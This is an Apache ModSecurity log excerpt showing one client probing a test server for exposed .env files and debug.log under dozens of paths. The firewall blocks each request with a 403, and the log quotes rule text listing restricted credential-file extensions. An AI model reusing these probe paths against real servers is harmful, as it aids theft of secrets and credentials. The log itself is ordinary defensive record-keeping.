[Wed Feb 25 06:04:59.652996 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrQAAAAI&quot;]
[Wed Feb 25 06:04:59.678564 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/mutual-fund-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrgAAAAI&quot;]
[Wed Feb 25 06:04:59.678848 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrgAAAAI&quot;]
[Wed Feb 25 06:04:59.679031 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrgAAAAI&quot;]
[Wed Feb 25 06:04:59.729474 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHwAAAAQ&quot;]
[Wed Feb 25 06:04:59.730020 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHwAAAAQ&quot;]
[Wed Feb 25 06:04:59.730192 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C-56MLyC5r86Hx-ZXHwAAAAQ&quot;]
[Wed Feb 25 06:04:59.744462 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrwAAAAI&quot;]
[Wed Feb 25 06:04:59.744712 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrwAAAAI&quot;]
[Wed Feb 25 06:04:59.744886 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWrwAAAAI&quot;]
[Wed Feb 25 06:04:59.790836 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsAAAAAI&quot;]
[Wed Feb 25 06:04:59.791129 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsAAAAAI&quot;]
[Wed Feb 25 06:04:59.791314 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsAAAAAI&quot;]
[Wed Feb 25 06:04:59.871647 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clld_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsQAAAAI&quot;]
[Wed Feb 25 06:04:59.871947 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsQAAAAI&quot;]
[Wed Feb 25 06:04:59.872162 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsQAAAAI&quot;]
[Wed Feb 25 06:04:59.990601 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsgAAAAI&quot;]
[Wed Feb 25 06:04:59.990925 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsgAAAAI&quot;]
[Wed Feb 25 06:04:59.991137 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C-1Iszkcv5YapLJKWsgAAAAI&quot;]
[Wed Feb 25 06:05:00.021960 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cmd/testdata/expected/dot_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWswAAAAI&quot;]
[Wed Feb 25 06:05:00.022221 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWswAAAAI&quot;]
[Wed Feb 25 06:05:00.022409 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmd/testdata/expected/dot_env/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWswAAAAI&quot;]
[Wed Feb 25 06:05:00.117296 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtAAAAAI&quot;]
[Wed Feb 25 06:05:00.117600 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtAAAAAI&quot;]
[Wed Feb 25 06:05:00.117794 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/api/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtAAAAAI&quot;]
[Wed Feb 25 06:05:00.153382 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJAAAAAQ&quot;]
[Wed Feb 25 06:05:00.153682 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJAAAAAQ&quot;]
[Wed Feb 25 06:05:00.153878 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJAAAAAQ&quot;]
[Wed Feb 25 06:05:00.211849 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /delivery/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJQAAAAQ&quot;]
[Wed Feb 25 06:05:00.212172 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJQAAAAQ&quot;]
[Wed Feb 25 06:05:00.212381 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6C_J6MLyC5r86Hx-ZXJQAAAAQ&quot;]
[Wed Feb 25 06:05:00.264651 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /code/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/code/web/.env&quot;] [unique_id &quot;aZ6C_FIszkcv5YapLJKWtQAAAAI&quot;]
